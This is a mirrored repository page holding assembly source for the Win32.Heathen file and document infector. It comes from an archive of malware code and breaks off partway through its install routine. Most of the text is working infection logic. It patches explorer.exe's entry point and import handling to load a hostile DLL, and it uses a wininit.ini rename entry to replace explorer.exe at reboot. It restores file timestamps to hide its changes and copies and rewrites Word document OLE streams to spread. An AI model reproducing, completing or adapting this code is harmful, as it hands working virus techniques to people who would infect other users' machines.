ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-30 06:55:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f48743eb43
MalwareSourceCode/Win32/Infector/Win32.Heathen.asm

2940 lines
82 KiB
NASM
Raw Normal View History

Add files via upload
2020-10-11 03:07:43 +00:00
Win32.Heathen
; ---------------------------------------------------------------------------
; some definitions of structures
API_STRUC struc
OLE_MemoryAllocator dd ?
GetWindowsDirectoryA dd ?
CopyFileA dd ?
DeleteFileA dd ?
CreateFileA dd ?
ReadFile dd ?
WriteFile dd ?
CloseHandle dd ?
SetFilePointer dd ?
GetFileTime dd ?
SetFileTime dd ?
lstrcatA dd ?
lstrcpyA dd ?
lstrcmpA dd ?
lstrlenA dd ?
StgOpenStorage dd ?
StgCreateDocFile dd ?
CoGetMalloc dd ?
API_STRUC ends
; ---------------------------------------------------------------------------
WIN32_FIND_DATA_STRUC struc
dwFileAttributes dd ?
ftCreationTime dq ?
ftLastAccessTime dq ?
ftLastWriteTime dq ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 80 dup(?)
cAlternateFileName db 14 dup(?)
WIN32_FIND_DATA_STRUC ends
; ---------------------------------------------------------------------------
STATG_STRUC struc
pwcsName dd ?
type dd ?
cbSize dq ?
mtime dq ?
ctime dq ?
atime dq ?
grfMode dd ?
grfLocksSupported dd ?
clsid db 16 dup(?)
grfStateBits dd ?
dwStgFmt dd ?
STATG_STRUC ends
; ---------------------------------------------------------------------------
DirectorySTRUC struc
DirectoryName dd ?
NextDirectorySTRUC dd ?
DirectorySTRUC ends
; ---------------------------------------------------------------------------
ILockBytes_Interface struc
QueryInterface dd ?
AddRef dd ?
Release dd ?
ReadAt dd ?
WriteAt dd ?
Flush dd ?
SetSize dd ?
LockRegion dd ?
UnlockRegion dd ?
Stat dd ?
ILockBytes_Interface ends
; ---------------------------------------------------------------------------
WNDCLASS_STRUC struc
style dd ?
lpfnWndProc dd ?
cbClsExtra dd ?
cbWndExtra dd ?
hInstance dd ?
hIcon dd ?
hCursor dd ?
hbrBackground dd ?
lpszMenuName dd ?
lpszClassName dd ?
WNDCLASS_STRUC ends
; ---------------------------------------------------------------------------
Import struc
OriginalFirstThunk dd ?
TimeDateStamp dd ?
ForwarderChain dd ?
DllName dd ?
FirstThunk dd ?
Import ends
; ---------------------------------------------------------------------------
Section struc
Name db 8 dup(?)
VirtualSize dd ?
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd ?
PointerToLinenumbers dd ?
NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics dd ?
Section ends
; ---------------------------------------------------------------------------
IMalloc_Interface struc
QueryInterface dd ?
AddRef dd ?
Release dd ?
PreAlloc dd ?
PostAlloc dd ?
PreFree dd ?
PostFree dd ?
PreRealloc dd ?
PostRealloc dd ?
PreGetSize dd ?
PostGetSize dd ?
PreDidAlloc dd ?
PostDidAlloc dd ?
PreHeapMinimize dd ?
PostHeapMinimize dd ?
IMalloc_Interface ends
; ---------------------------------------------------------------------------
IStream_Interface struc
QueryInterface dd ?
AddRef dd ?
Release dd ?
Read dd ?
Write dd ?
Seek dd ?
SetSize dd ?
CopyTo dd ?
Commit dd ?
Revert dd ?
LockRegion dd ?
UnlockRegion dd ?
Stat dd ?
Clone dd ?
IStream_Interface ends
; ---------------------------------------------------------------------------
IStorage_Interface struc
QueryInterface dd ?
AddRef dd ?
Release dd ?
CreateStream dd ?
OpenStream dd ?
CreateStorage dd ?
OpenStorage dd ?
CopyTo dd ?
MoveElementTo dd ?
Commit dd ?
Revert dd ?
EnumElements dd ?
DestroyElement dd ?
RenameElement dd ?
SetElementTimes dd ?
SetClass dd ?
SetStateBits dd ?
Stat dd ?
IStorage_Interface ends
;
; File Name : heathen.vdl
; Format : Portable executable (PE)
; Section 1. (virtual address 00001000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00001600 ( 5632.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : 16 bytes ?
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
p586
model flat
; ---------------------------------------------------------------------------
; Segment type: Pure code
CODE segment para public 'CODE' use32
assume cs:CODE
;org 401000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
; --------------- S U B R O U T I N E ---------------------------------------
; Virus macro calls this routine through Callback24 API
; Attributes: bp-based frame
Callback24_code proc near
HEATHEN_BASE= dword ptr 8
ActiveDocument= dword ptr 0Ch
GetProcAddress= dword ptr 10h
KERNEL32= dword ptr 14h
OLE32= dword ptr 18h
push ebp
mov ebp, esp
pusha
push [ebp+OLE32]
push [ebp+KERNEL32]
push [ebp+GetProcAddress]
push [ebp+ActiveDocument]
mov eax, [ebp+HEATHEN_BASE]
push eax
mov ebx, eax
add ebx, 663h ; EBX = raw offset of Explorer patch code, equivalent to Virtual Address 401063h
push ebx
sub eax, 401400h ; VAdata-403000h = RAWdata-1C00h ==> RAWdata = VAdata - 401400h
push eax
call InstallVIRUS
popa
pop ebp
retn 14h
Callback24_code endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
asciiz_to_unicode proc near
ASCIIZ= dword ptr 8
UNICODE= dword ptr 0Ch
push ebp
mov ebp, esp
pusha
xor eax, eax
mov esi, [ebp+ASCIIZ]
mov edi, [ebp+UNICODE]
cld
NextCharacter:
lodsb
stosw ; convert to unicode, for use with OLE functions
or eax, eax
jnz short NextCharacter
popa
pop ebp
retn
asciiz_to_unicode endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
UpperCase proc near
ASCIIZ_String= dword ptr 8
push ebp
mov ebp, esp
push eax
push esi
mov esi, [ebp+ASCIIZ_String]
Next_Character:
mov al, [esi]
cmp al, 'a'
jb short notlowercase
cmp al, 'z'
ja short notlowercase
sub al, 20h ; convert tu uppercase
mov [esi], al
notlowercase:
inc esi
or al, al
jnz short Next_Character
pop esi
pop eax
pop ebp
retn
UpperCase endp
; --------------- S U B R O U T I N E ---------------------------------------
Explorer_Patch_Code proc near
pusha ; save registers
Library_Name:
push 0 ; VA address of string "Heathen.vdl"
API_Name:
mov eax, 0 ; VA of LoadLibraryA API
call dword ptr [eax]
popa ; restore registers
Old_EntryPoint:
push 0 ; original EntryPoint of explorer.exe
retn
Explorer_Patch_Code endp
; ---------------------------------------------------------------------------
aHeathen_vdl_0 db 'Heathen.vdl'
db 0
Encrypted_Text db 0A8h,0B8h,0CFh,0C8h,0DFh,0DDh,0B7h, 9Ah
db 9Eh, 8Bh, 97h, 9Ah, 91h,0DDh,0DFh,0BCh
db 90h, 8Fh, 86h, 8Dh, 96h, 98h, 97h, 8Bh
db 0DFh,0D7h,0BCh,0D6h,0DFh,0CEh,0C6h,0C6h
db 0CAh,0D2h,0CEh,0C6h,0C6h,0C6h,0DFh, 9Dh
db 86h,0DFh,0A8h, 90h, 90h, 9Bh,0B8h, 90h
db 9Dh, 93h, 96h, 91h,0DBh
assume ds:nothing
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
public DLL_EntryPoint
DLL_EntryPoint proc near
hinstDLL= dword ptr 8
fdwReason= dword ptr 0Ch
lpvReserved= dword ptr 10h
push ebp ; this is the EntryPoint of Heathen.vdl library
mov ebp, esp
push [ebp+fdwReason] ; reason for calling function
push [ebp+hinstDLL] ; handle of DLL module
call DllMain
pop ebp
retn 0Ch
DLL_EntryPoint endp
; ---------------------------------------------------------------------------
align 4
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
GetAPIAddresses proc near
APIs= dword ptr 8
GetProcAddress= dword ptr 0Ch
VA2RAW= dword ptr 10h
KERNEL32= dword ptr 14h
OLE32= dword ptr 18h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, offset aGetWindowsDirectoryA ; VirtualAddress of API name
mov edi, [ebp+VA2RAW] ; delta to convert VA into RAW offset (where its located in memory)
mov esi, [ebp+GetProcAddress]
add eax, edi
mov ebx, [ebp+APIs]
push eax ; API name
push [ebp+KERNEL32] ; module handle
call esi
mov [ebx+API_STRUC.GetWindowsDirectoryA], eax
mov edx, offset aCopyFileA
add edx, edi
push edx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.CopyFileA], eax
mov ecx, offset DeleteFileA
add ecx, edi
push ecx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.DeleteFileA], eax
mov eax, offset aCreateFileA
add eax, edi
push eax ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.CreateFileA], eax
mov edx, offset aReadFile
add edx, edi
push edx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.ReadFile], eax
mov ecx, offset aWriteFile
add ecx, edi
push ecx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.WriteFile], eax
mov eax, offset aCloseHandle
add eax, edi
push eax ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.CloseHandle], eax
mov edx, offset aSetFilePointer
add edx, edi
push edx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.SetFilePointer], eax
mov ecx, offset aGetFileTime
add ecx, edi
push ecx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.GetFileTime], eax
mov eax, offset aSetFileTime
add eax, edi
push eax ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.SetFileTime], eax
mov edx, offset alstrcatA
add edx, edi
push edx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.lstrcatA], eax
mov ecx, offset alstrcpyA
add ecx, edi
push ecx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.lstrcpyA], eax
mov eax, offset alstrcmpA
add eax, edi
push eax ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.lstrcmpA], eax
mov edx, offset alstrlenA
add edx, edi
push edx ; API name
push [ebp+KERNEL32] ; KERNEL32 base
call esi
mov [ebx+API_STRUC.lstrlenA], eax
mov ecx, offset aStgOpenStorage
add ecx, edi
push ecx ; API name
push [ebp+OLE32] ; OLE32 base
call esi
mov [ebx+API_STRUC.StgOpenStorage], eax
mov eax, offset aStgCreateDocfile
add eax, edi
push eax ; API name
push [ebp+OLE32] ; OLE32 base
call esi
mov [ebx+API_STRUC.StgCreateDocFile], eax
add edi, offset aCoGetMalloc
push edi ; API name
push [ebp+OLE32] ; OLE32 base
call esi
mov [ebx+API_STRUC.CoGetMalloc], eax
push ebx ; store in first field of API_STRUC a pointer to the Memory Allocator
push 1 ; must be 1
call [ebx+API_STRUC.CoGetMalloc] ; Retrieves a pointer to the default OLE task memory allocator
pop edi
pop esi
pop ebx
pop ebp
retn
GetAPIAddresses endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
PatchEXPLORER proc near
PEheader= byte ptr -120h
MZheader= byte ptr -78h
pImportDirectory= dword ptr -38h
LoadLibraryA_present= dword ptr -34h
reloc_section= dword ptr -30h
malloc_idata= dword ptr -2Ch
malloc_sections= dword ptr -28h
readbytes= dword ptr -24h
WriteTime= qword ptr -20h
AccessTime= qword ptr -18h
CreationTime= qword ptr -10h
FileHandle= dword ptr -8
error= dword ptr -4
APIs= dword ptr 8
WINDOWS_HeathenVEX= dword ptr 0Ch
API_LoadLibraryA= dword ptr 10h
MODULE_Kernel32= dword ptr 14h
Patch_RAWoffset= dword ptr 18h
push ebp
mov ebp, esp
add esp, 0FFFFFEE0h
xor eax, eax
push ebx
push esi
push edi
mov esi, [ebp+APIs]
mov [ebp+error], eax
push 0 ; NULL
push 10000000h ; FILE_FLAG_RANDOM_ACCESS (to optimize file caching)
push 3 ; OPEN_EXISTING
push 0 ; NULL = handle cannot be inherited
push 0 ; 0 = prevent file from being shared
push 0C0000000h ; GENERIC_READ + GENERIC_WRITE
push [ebp+WINDOWS_HeathenVEX]
call [esi+API_STRUC.CreateFileA] ; open file
mov [ebp+FileHandle], eax ; file handle
lea edx, [ebp+WriteTime]
push edx
lea ecx, [ebp+AccessTime]
push ecx
lea eax, [ebp+CreationTime]
push eax
push [ebp+FileHandle]
call [esi+API_STRUC.GetFileTime] ; GetFileTime
lea edx, [ebp+readbytes] ; actual number of bytes read
push 0 ; NULL
push edx
lea ecx, [ebp+MZheader] ; buffer for MZ header
push 40h ; number of bytes to read
push ecx
push [ebp+FileHandle]
call [esi+API_STRUC.ReadFile] ; read MZ header
push 0
push 0
push dword ptr [ebp+MZheader+3Ch] ; read pointer to new executable header
push [ebp+FileHandle]
call [esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of PE header
lea eax, [ebp+readbytes]
push 0
push eax
lea edx, [ebp+PEheader]
push 0A8h ; read A8h bytes of PE header
push edx
push [ebp+FileHandle]
call [esi+API_STRUC.ReadFile] ; ReadFile
mov ecx, dword ptr [ebp+PEheader+28h] ; entrypoint
cmp ecx, dword ptr [ebp+PEheader+0A0h] ; relocs start
jnz short error11 ; both must be different from zero!
push [ebp+FileHandle]
call [esi+API_STRUC.CloseHandle] ; close file
xor eax, eax ; return with error
jmp error10
; ---------------------------------------------------------------------------
error11:
movzx edx, word ptr [ebp+PEheader+6] ; number of sections
mov ecx, edx
shl ecx, 3
lea ecx, [ecx+ecx*4] ; ecx = size of sections
push ecx ; number of bytes to reserve
mov eax, [esi]
push eax ; IMalloc
mov edx, [eax]
call [edx+IMalloc_Interface.PreAlloc] ; reserve memory for sections
mov [ebp+malloc_sections], eax ; pointer to buffer of sections
push dword ptr [ebp+PEheader+84h] ; idata (import section) size
mov ecx, [esi]
push ecx
mov eax, [ecx]
call [eax+IMalloc_Interface.PreAlloc] ; reserve memory for idata section
mov [ebp+malloc_idata], eax ; pointer to buffer of idata
cmp [ebp+malloc_sections], 0 ; malloc ok?
jz short error12
cmp [ebp+malloc_idata], 0 ; malloc ok?
jnz short malloc_ok
error12:
push [ebp+FileHandle]
call [esi+API_STRUC.CloseHandle] ; close file
xor eax, eax ; return with error
jmp error10
; ---------------------------------------------------------------------------
malloc_ok:
push 0 ; FILE_BEGIN
push 0 ; high dword of file pointer
movzx edx, word ptr [ebp+PEheader+14h] ; NT Optional Header Size
add edx, dword ptr [ebp+MZheader+3Ch] ; offset of PE header
add edx, 18h ; size of PE File Header
push edx ; low dword of file pointer
push [ebp+FileHandle]
call [esi+API_STRUC.SetFilePointer] ; SetFilePointer
push 0 ; NULL
lea ecx, [ebp+readbytes]
push ecx
movzx eax, word ptr [ebp+PEheader+6] ; number of sections
mov edx, eax
shl edx, 3
lea edx, [edx+edx*4] ; edx = size of sections
push edx
push [ebp+malloc_sections] ; buffer to store info of sections
push [ebp+FileHandle]
call [esi+API_STRUC.ReadFile] ; read sections table
movzx eax, word ptr [ebp+PEheader+6]
dec eax
test eax, eax
jl short found_idata
check_next_section:
lea edx, [eax+eax*4]
mov ecx, [ebp+malloc_sections]
mov edx, [ecx+edx*8+Section.VirtualAddress]
cmp edx, dword ptr [ebp+PEheader+80h]
jle short found_idata ; rva inside idata
dec eax
test eax, eax
jge short check_next_section
found_idata:
movzx ecx, word ptr [ebp+PEheader+6]
dec ecx ; last section
mov [ebp+reloc_section], ecx
cmp [ebp+reloc_section], 0
jl short found_relocs
check_next_section2:
mov edx, [ebp+reloc_section]
lea edx, [edx+edx*4]
mov ecx, [ebp+malloc_sections]
mov edx, [ecx+edx*8+Section.VirtualAddress]
cmp edx, dword ptr [ebp+PEheader+0A0h] ; rva of relocs
jle short found_relocs ; reloc section found!
dec [ebp+reloc_section]
cmp [ebp+reloc_section], 0
jge short check_next_section2
found_relocs:
push 0 ; FILE_BEGIN
push 0
lea edx, [eax+eax*4] ; EAX=idata section number
mov ecx, [ebp+malloc_sections]
mov eax, [ebp+malloc_sections]
mov ebx, dword ptr [ebp+PEheader+80h] ; idata RVA
sub ebx, [ecx+edx*8+Section.VirtualAddress]
add ebx, [eax+edx*8+Section.PointerToRawData]
push ebx ; RAW offset of idata
push [ebp+FileHandle]
call [esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of idata
push 0 ; NULL
lea edx, [ebp+readbytes]
push edx
push dword ptr [ebp+PEheader+84h] ; size of idata
push [ebp+malloc_idata] ; buffer to read idata info
push [ebp+FileHandle]
call [esi+API_STRUC.ReadFile] ; read all idata
xor ecx, ecx
mov [ebp+LoadLibraryA_present], ecx
mov eax, [ebp+malloc_idata]
mov [ebp+pImportDirectory], eax ; actual import directory
jmp next_importentry2
; ---------------------------------------------------------------------------
check_importentry:
mov ebx, eax
add ebx, [ebp+malloc_idata] ; start of idata buffer
sub ebx, dword ptr [ebp+PEheader+80h] ; (this is because buffer may have not been read at start of idata section)
push ebx
call UpperCase ; convert all to uppercase
pop ecx
push [ebp+MODULE_Kernel32] ; KERNEL32.DLL name
push ebx
call [esi+API_STRUC.lstrcmpA] ; compare DLL name
test eax, eax
jnz short next_importentry ; not the same
mov eax, [ebp+pImportDirectory]
mov edi, [eax+Import.OriginalFirstThunk] ; EDI = RVA of import lookup table
add edi, [ebp+malloc_idata]
sub edi, dword ptr [ebp+PEheader+80h] ; EDI = converted to RAW offset
xor ebx, ebx ; EBX = 0 = start of array
jmp short next_api0
; ---------------------------------------------------------------------------
more_apis:
test eax, eax
jle short next_api ; its not imported by name
add eax, [ebp+malloc_idata]
sub eax, dword ptr [ebp+PEheader+80h]
add eax, 2 ; skip HINT field
push [ebp+API_LoadLibraryA] ; "LoadLibraryA"
push eax
call [esi+API_STRUC.lstrcmpA] ; compare API name
test eax, eax
jnz short next_api ; not the same
mov eax, [ebp+pImportDirectory]
mov ecx, ebx
shl ecx, 2
mov edx, [eax+Import.FirstThunk] ; RVA of import address table
mov eax, offset API_Name+1
add edx, ecx ; select corresponding RVA from array of RVAs
sub eax, offset Explorer_Patch_Code ; start of bytes that will be written to explorer.exe
add eax, [ebp+Patch_RAWoffset] ; entrypoint of that routine
add edx, dword ptr [ebp+PEheader+34h] ; add ImageBase
mov [eax], edx ; RVA where LoadLibraryA address will be stored
xor edx, edx
mov [ebp+LoadLibraryA_present], 1 ; LoadLibraryA found! :D
mov [edi+ebx*4+4], edx ; make next api entry NULL, so it exits quickly, because the LoadLibrary has already been found! ;D
xor eax, eax
mov ecx, [ebp+pImportDirectory]
mov [ecx+20h], eax ; make next import entry NULL to exit quickly, we now have what we need ;D
next_api:
inc ebx
next_api0:
mov eax, [edi+ebx*4]
test eax, eax
jnz short more_apis ; still more imported APIs to check
next_importentry:
add [ebp+pImportDirectory], 14h ; next import entry
next_importentry2:
mov edx, [ebp+pImportDirectory] ; actual import entry
mov eax, [edx+Import.DllName] ; RVA of imported dll name
test eax, eax
jnz check_importentry ; check these dll imports
cmp [ebp+LoadLibraryA_present], 0
jz error13 ; error, LoadLibraryA not imported
mov edx, offset aHeathen_vdl_0
mov ecx, offset Library_Name+1
add edx, dword ptr [ebp+PEheader+0A0h]
sub ecx, offset Explorer_Patch_Code
add ecx, [ebp+Patch_RAWoffset] ; ECX = location in memory that contains VA (for explorer.exe) of Library name
sub edx, offset Explorer_Patch_Code
add edx, dword ptr [ebp+PEheader+34h] ; EDX = Virtual Address (when executing explorer.exe) of Library Name
mov eax, offset Old_EntryPoint+1
mov [ecx], edx ; store that virtual address in the patch code
sub eax, offset Explorer_Patch_Code
add eax, [ebp+Patch_RAWoffset] ; EAX = location in memory that contains VA (for explorer.exe) of its original EntryPoint
mov edx, dword ptr [ebp+PEheader+28h]
add edx, dword ptr [ebp+PEheader+34h] ; EDX = original EntryPoint
mov [eax], edx ; store old EntryPoint in the patch code
push 0 ; FILE_BEGIN
push 0
mov eax, [ebp+reloc_section] ; number of the reloc section
mov edx, [ebp+malloc_sections] ; buffer of sections table
mov ecx, dword ptr [ebp+PEheader+0A0h] ; RVA of relocs
lea eax, [eax+eax*4]
sub ecx, [edx+eax*8+Section.VirtualAddress] ; relative RVA from beginning of reloc section
mov edx, [ebp+malloc_sections]
add ecx, [edx+eax*8+Section.PointerToRawData] ; ECX = RAW offset of start of relocs
push ecx
push [ebp+FileHandle]
call [esi+API_STRUC.SetFilePointer] ; set file pointer to start of relocs blocks
push 0 ; NULL
lea eax, [ebp+readbytes] ; here will be returned the actual number of bytes written
push eax
mov ecx, offset Encrypted_Text
sub ecx, offset Explorer_Patch_Code ; ECX = size of code to patch
push ecx
push [ebp+Patch_RAWoffset]
push [ebp+FileHandle]
call [esi+API_STRUC.WriteFile] ; write patch code at beginning of relocs blocks
mov eax, dword ptr [ebp+PEheader+0A0h]
mov dword ptr [ebp+PEheader+28h], eax ; set new EntryPoint to point to the virus routine ;-)
push 0 ; FILE_BEGIN
push 0
push dword ptr [ebp+MZheader+3Ch]
push [ebp+FileHandle]
call [esi+API_STRUC.SetFilePointer] ; set file pointer to PEheader start
lea edx, [ebp+readbytes]
push 0
push edx
lea ecx, [ebp+PEheader]
push 0A8h ; size of PE header
push ecx
push [ebp+FileHandle]
call [esi+API_STRUC.WriteFile] ; write PE header
mov [ebp+error], 1 ; indicate we have patch explorer.exe successfully
error13:
push [ebp+malloc_sections]
mov eax, [esi]
push eax
mov edx, [eax]
call [edx+IMalloc_Interface.PreFree] ; free memory
push [ebp+malloc_idata]
mov ecx, [esi]
push ecx
mov eax, [ecx]
call [eax+IMalloc_Interface.PreFree] ; free memory
lea edx, [ebp+WriteTime]
push edx
lea ecx, [ebp+AccessTime]
push ecx
lea eax, [ebp+CreationTime]
push eax
push [ebp+FileHandle]
call [esi+API_STRUC.SetFileTime] ; restore file time
push [ebp+FileHandle]
call [esi+API_STRUC.CloseHandle] ; close handle
mov eax, [ebp+error] ; return error
error10:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
PatchEXPLORER endp
; --------------- S U B R O U T I N E ---------------------------------------
; Attributes: bp-based frame
CreateWININIT proc near
String= byte ptr -260h
BytesWritten= dword ptr -8
Character_Equal= dword ptr -4
APIs= dword ptr 8
WINDOWS_WininitINI= dword ptr 0Ch
WINDOWS_ExplorerEXE= dword ptr 10h
WINDOWS_HeathenVEX= dword ptr 14h
HEATHEN_BASE= dword ptr 18h
push ebp
mov ebp, esp
add esp, 0FFFFFDA0h
mov eax, offset aRename
lea edx, [ebp+String]
push ebx
push esi
add eax, [ebp+HEATHEN_BASE]
mov ebx, [ebp+APIs] ; APIs array
push eax
push edx
call [ebx+API_STRUC.lstrcpyA] ; create section [rename]
push [ebp+WINDOWS_ExplorerEXE]
lea ecx, [ebp+String]
push ecx
call [ebx+API_STRUC.lstrcatA] ; add "c:windowsexplorer.exe"
mov [ebp+Character_Equal], '='
lea eax, [ebp+Character_Equal]
lea edx, [ebp+String]
push eax
push edx
call [ebx+API_STRUC.lstrcatA] ; add "="
push [ebp+WINDOWS_HeathenVEX]
lea ecx, [ebp+String]
push ecx
call [ebx+API_STRUC.lstrcatA] ; add "c:windowsheathen.vex"
push 0 ; NULL
push 20h ; FILE_ATTRIBUTE_ARCHIVE
push 2 ; CREATE_ALWAYS
push 0 ; NULL = file handle cannot be inherited
push 0 ; 0 = prevent file from being shared
push 40000000h ; GENERIC_WRITE
push [ebp+WINDOWS_WininitINI]
call [ebx+API_STRUC.CreateFileA] ; create file "c:windowswininit.ini"
mov esi, eax
push 0 ; NULL
lea eax, [ebp+BytesWritten] ; actual number of bytes written
push eax
lea edx, [ebp+String]
push edx
call [ebx+API_STRUC.lstrlenA] ; get length of string to write
push eax ; number of bytes to write
lea ecx, [ebp+String]
push ecx ; buffer for write
push esi ; file handle
call [ebx+API_STRUC.WriteFile]
push esi
call [ebx+API_STRUC.CloseHandle] ; close file
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
CreateWININIT endp
; --------------- S U B R O U T I N E ---------------------------------------
; This routine install virus in system, so next reboot explorer.exe will load Heathen.vdl library
; Attributes: bp-based frame
InstallVIRUS proc near
Buffer= byte ptr -0E28h
UNICODE_HeathenVdo= byte ptr -0C28h
UNICODE_HtmpDoc= byte ptr -9D0h
WINDOWS_WininitINI= byte ptr -778h
WINDOWS_HeathenVDO= byte ptr -64Ch
WINDOWS_HeatheVDL= byte ptr -520h
WINDOWS_HeathenVEX= byte ptr -3F4h
WINDOWS_ExplorerEXE= byte ptr -2C8h
WINDOWS_HtmpDOC= byte ptr -19Ch
APIs= API_STRUC ptr -70h
writtenbytes= dword ptr -28h
FileHandle= dword ptr -24h
StreamSeek= qword ptr -20h
MacrosSize= dword ptr -18h
MacrosOffset= dword ptr -14h
xTable= dword ptr -10h
IStream1= dword ptr -0Ch
IStorage2= dword ptr -8
IStorage1= dword ptr -4
VA2RAW= dword ptr 8
Patch_code= dword ptr 0Ch
HEATHEN_BASE= dword ptr 10h
ActiveDocument= dword ptr 14h
GetProcAddress= dword ptr 18h
KERNEL32= dword ptr 1Ch
OLE32= dword ptr 20h
push ebp
mov ebp, esp
add esp, 0FFFFF1D8h ; suck stack! yeah! 8-P
push ebx
push esi
push edi
mov ebx, [ebp+VA2RAW]
push [ebp+OLE32]
push [ebp+KERNEL32]
push ebx
push [ebp+GetProcAddress]
lea eax, [ebp+APIs] ; address to store API addresses
push eax
call GetAPIAddresses ; get all APIs
add esp, 14h
lea edx, [ebp+WINDOWS_HtmpDOC]
push 12Ch ; buffer size
push edx
call [ebp+APIs.GetWindowsDirectoryA] ; get windows directory, and store it in 6 buffers
lea ecx, [ebp+WINDOWS_HtmpDOC]
lea eax, [ebp+WINDOWS_ExplorerEXE]
push ecx
push eax
call [ebp+APIs.lstrcpyA]
lea edx, [ebp+WINDOWS_HtmpDOC]
lea ecx, [ebp+WINDOWS_HeathenVEX]
push edx
push ecx
call [ebp+APIs.lstrcpyA]
lea eax, [ebp+WINDOWS_HtmpDOC]
lea edx, [ebp+WINDOWS_HeatheVDL]
push eax
push edx
call [ebp+APIs.lstrcpyA]
lea ecx, [ebp+WINDOWS_HtmpDOC]
lea eax, [ebp+WINDOWS_HeathenVDO]
push ecx
push eax
call [ebp+APIs.lstrcpyA]
lea edx, [ebp+WINDOWS_HtmpDOC]
lea ecx, [ebp+WINDOWS_WininitINI]
push edx
push ecx
call [ebp+APIs.lstrcpyA]
mov eax, offset aHtmp_doc
lea edx, [ebp+WINDOWS_HtmpDOC]
add eax, ebx
push eax
push edx
call [ebp+APIs.lstrcatA] ; c:windowsHtmp.doc
mov ecx, offset aExplorer_exe
lea eax, [ebp+WINDOWS_ExplorerEXE]
add ecx, ebx
push ecx
push eax
call [ebp+APIs.lstrcatA] ; c:windowsExplorer.exe
mov edx, offset aHeathen_vex
lea ecx, [ebp+WINDOWS_HeathenVEX]
add edx, ebx
push edx
push ecx
call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vex
mov eax, offset aHeathen_vdl
lea edx, [ebp+WINDOWS_HeatheVDL]
add eax, ebx
push eax
push edx
call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vdl
mov ecx, offset aHeathen_vdo
lea eax, [ebp+WINDOWS_HeathenVDO]
add ecx, ebx
push ecx
push eax
call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vdo
mov edx, offset aWininit_ini
lea ecx, [ebp+WINDOWS_WininitINI]
add edx, ebx
push edx
push ecx
call [ebp+APIs.lstrcatA] ; c:windowsWininit.ini
lea eax, [ebp+WINDOWS_HtmpDOC]
push 0 ; overwrite Htmp.doc if already present
push eax
xor esi, esi ; ESI = 0 = File errors
push [ebp+ActiveDocument]
call [ebp+APIs.CopyFileA] ; copy file: ActiveDocument --> c:windowsHtmp.doc
test eax, eax
jz error1 ; error
lea edx, [ebp+UNICODE_HtmpDoc]
push edx
lea ecx, [ebp+WINDOWS_HtmpDOC]
push ecx
call asciiz_to_unicode ; convert c:windowsHtmp.doc to unicode
add esp, 8
lea eax, [ebp+IStorage1]
push eax ; &IStorage1
push 0 ; zero (reserved)
push 0 ; NULL
push 10h ; STGM_READ + STGM_SHARE_EXCLUSIVE
push 0 ; NULL
lea edx, [ebp+UNICODE_HtmpDoc] ; file to contain Storage object
push edx
call [ebp+APIs.StgOpenStorage] ; open IStorage1 object
mov edi, eax
test edi, edi
jnz error2 ; error
lea eax, [ebp+UNICODE_HeathenVdo]
push eax
lea edx, [ebp+WINDOWS_HeathenVDO]
push edx
call asciiz_to_unicode ; convert c:windowsHeathen.Vdo to unicode
add esp, 8
lea ecx, [ebp+IStorage2]
push ecx ; &IStorage2
push 0 ; zero (reserved)
push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
lea eax, [ebp+UNICODE_HeathenVdo] ; compound file to create
push eax
call [ebp+APIs.StgCreateDocFile] ; create newcompound IStorage2 object
mov edi, eax
test edi, edi
jnz error3 ; error
lea eax, [ebp+IStream1]
mov edi, offset aWorddocument ; WordDocument stream
push eax ; &Istream1
push 0 ; zero (reserved)
push 10h ; STGM_SHARE_EXCLUSIVE
add edi, ebx
push 0 ; zero (reserved)
push edi ; name of the stream
mov edx, [ebp+IStorage1]
push edx
mov ecx, [edx]
call [ecx+IStorage_Interface.OpenStream] ; open WordDocument stream
push 0 ; NULL = dont return actual number of bytes read
lea eax, [ebp+Buffer]
push 200h ; number of bytes to read
push eax ; buffer for read
mov edx, [ebp+IStream1]
push edx
mov ecx, [edx]
call [ecx+IStream_Interface.Read] ; read WordDocument Header
mov eax, offset xTable
mov dx, 31h ; "1Table"
